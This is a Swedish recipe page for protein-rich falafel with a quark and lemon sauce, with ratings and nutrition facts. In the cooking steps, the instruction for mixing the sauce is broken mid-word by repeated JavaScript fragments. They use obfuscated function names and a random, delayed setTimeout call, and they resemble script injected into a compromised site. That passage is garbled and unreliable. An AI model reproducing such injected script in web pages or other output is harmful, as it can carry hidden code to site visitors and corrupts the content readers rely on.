Falafel

2013-08-24
falafel1falafel
  • Yield : 4
  • Servings : 1
  • Prep Time : 5m
  • Cook Time : 10m
  • Ready In : 15m

Falafel

En snabblagad rätt som passar perfekt efter träning då den är både proteinrik och fylld med långsamma kolhydrater.

Ingredienser

Falafel

  • 125 gram kikärtor
  • 1 ägg
  • 2 msk rågflingor
  • 1 näve persilja
  • 1 vitlöksklyfta
  • 1 msk spiskummin
  • 1 tsk cayennepeppar
  • salt efter smak

Sås

  • 50 gram lättkvarg
  • saften från en halv citron
  • örtsalt

Gör så här:

Skölj kikärtorna i ljummet vatten.
Häll ner alla ingredienserna i en skål och mixa med en stavmixer tills det blir till en jämn smet.
Klicka ut smeten i en stekpanna och stek på medelhög värme tills de får en gyllene yta.

Blandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}a kvargen med citronsaften och örtsaltet.

Servera falafeln med såsen.

Medlemsbetyg

(5 / 5)

5 5 4
Betygsätt recept

4 people rated this recipe

Related Recipes:
  • Nutellapannkakor

    Nutellapannkakor

  • _SAM0985

    Lowcarb Carbonara

  • _SAM0905

    Sallad på svartvitlöks rostad pumpa, lök, paprika, tomat med chevreost, spenat och svartkålschips.

  • _SAM0920

    Svartvitlöks rostad kyckling

  • Avokado & äggmacka

    Avokado & äggmacka

Näringssinnehåll

Informationen gäller per portion

  • Kalorier

    344 kcal
  • Protein

    24 g
  • Kolhydrater

    38 g
  • Fett

    9 g

Recipe Comments

Post A Comment

Current ye@r *